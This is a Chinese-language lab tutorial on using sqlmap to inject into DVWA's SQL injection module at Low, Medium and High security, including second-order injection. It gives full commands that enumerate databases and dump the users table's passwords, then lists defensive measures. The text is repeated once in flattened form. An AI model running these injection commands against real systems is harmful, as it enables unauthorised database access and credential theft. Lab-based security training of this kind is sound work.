Sqlmap自动化注入(dvwa从low到high)
字数 907 2025-08-18 11:39:04

SQLMap自动化注入攻击DVWA从Low到High级别全面指南

一、DVWA环境准备

  1. 设置DVWA安全级别为Low
  2. 打开DVWA的SQL Injection或SQL Injection (Blind)模块
  3. 通过浏览器调试工具查看请求

二、Low级别注入

1. 识别注入点

  • 请求方式:GET
  • 示例URL:http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

2. 基本SQLMap命令

sqlmap -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#"

3. 添加Cookie维持会话

  • 使用Burp Suite获取Cookie
  • 完整命令:
sqlmap -u "http://192.168.1.222:8089/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" --dbs

4. 数据库信息枚举

  • 列出所有数据库:
sqlmap -u "URL" --cookie="COOKIE" --dbs
  • 指定数据库查看表:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa --tables
  • 查看表结构:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users --columns
  • 导出数据:
sqlmap -u "URL" --cookie="COOKIE" -D dvwa -T users -C password,user --dump

三、Medium级别注入

  1. 将DVWA安全级别调整为Medium
  2. 将请求数据包保存为.txt文件
  3. 使用-r参数读取文件:
sqlmap -r request.txt --dbs

四、High级别注入(二阶注入)

1. 特点

  • 提交页面与返回结果页面不同
  • 需要使用二阶注入技术

2. 命令示例

  • 爆数据库:
sqlmap -r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" --batch --level 2 --dbs
  • 爆表结构:
sqlmap -r 1.txt --second-url "URL" --batch --level 2 -D dvwa -T user --columns
  • 导出数据:
sqlmap -r 1.txt --second-url "URL" --batch --level 2 -D dvwa -T users -C user,password --dump

五、关键参数详解

1. 二阶注入参数

  • --second-order:用于二阶SQL注入
  • --second-url:指定返回结果的页面URL

2. 自动化参数

  • --batch:自动使用默认配置,无需手动确认

3. 探测等级参数

  • --level:1-5级,默认1
    • Level 1:测试GET参数
    • Level 2:测试Cookie
    • Level 3:测试User-Agent/Referer头
    • Level 5:测试所有可能的注入点

六、最佳实践建议

  1. 不确定注入点时,建议使用level 5(速度较慢但全面)
  2. 对于复杂注入场景,优先使用-r参数加载请求文件
  3. 二阶注入必须指定返回结果的URL
  4. 保持会话需要正确设置Cookie

七、安全防护建议

  1. 使用参数化查询
  2. 实施最小权限原则
  3. 对用户输入进行严格过滤
  4. 使用Web应用防火墙(WAF)
  5. 定期进行安全审计和渗透测试

通过本指南,您可以全面掌握使用SQLMap对DVWA从Low到High级别的自动化注入技术,理解不同安全级别下的注入差异及应对方法。

SQLMap自动化注入攻击DVWA从Low到High级别全面指南 一、DVWA环境准备 设置DVWA安全级别为Low 打开DVWA的SQL Injection或SQL Injection (Blind)模块 通过浏览器调试工具查看请求 二、Low级别注入 1. 识别注入点 请求方式:GET 示例URL: http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# 2. 基本SQLMap命令 3. 添加Cookie维持会话 使用Burp Suite获取Cookie 完整命令: 4. 数据库信息枚举 列出所有数据库: 指定数据库查看表: 查看表结构: 导出数据: 三、Medium级别注入 将DVWA安全级别调整为Medium 将请求数据包保存为.txt文件 使用-r参数读取文件: 四、High级别注入(二阶注入) 1. 特点 提交页面与返回结果页面不同 需要使用二阶注入技术 2. 命令示例 爆数据库: 爆表结构: 导出数据: 五、关键参数详解 1. 二阶注入参数 --second-order :用于二阶SQL注入 --second-url :指定返回结果的页面URL 2. 自动化参数 --batch :自动使用默认配置,无需手动确认 3. 探测等级参数 --level :1-5级,默认1 Level 1:测试GET参数 Level 2:测试Cookie Level 3:测试User-Agent/Referer头 Level 5:测试所有可能的注入点 六、最佳实践建议 不确定注入点时,建议使用level 5(速度较慢但全面) 对于复杂注入场景,优先使用-r参数加载请求文件 二阶注入必须指定返回结果的URL 保持会话需要正确设置Cookie 七、安全防护建议 使用参数化查询 实施最小权限原则 对用户输入进行严格过滤 使用Web应用防火墙(WAF) 定期进行安全审计和渗透测试 通过本指南,您可以全面掌握使用SQLMap对DVWA从Low到High级别的自动化注入技术,理解不同安全级别下的注入差异及应对方法。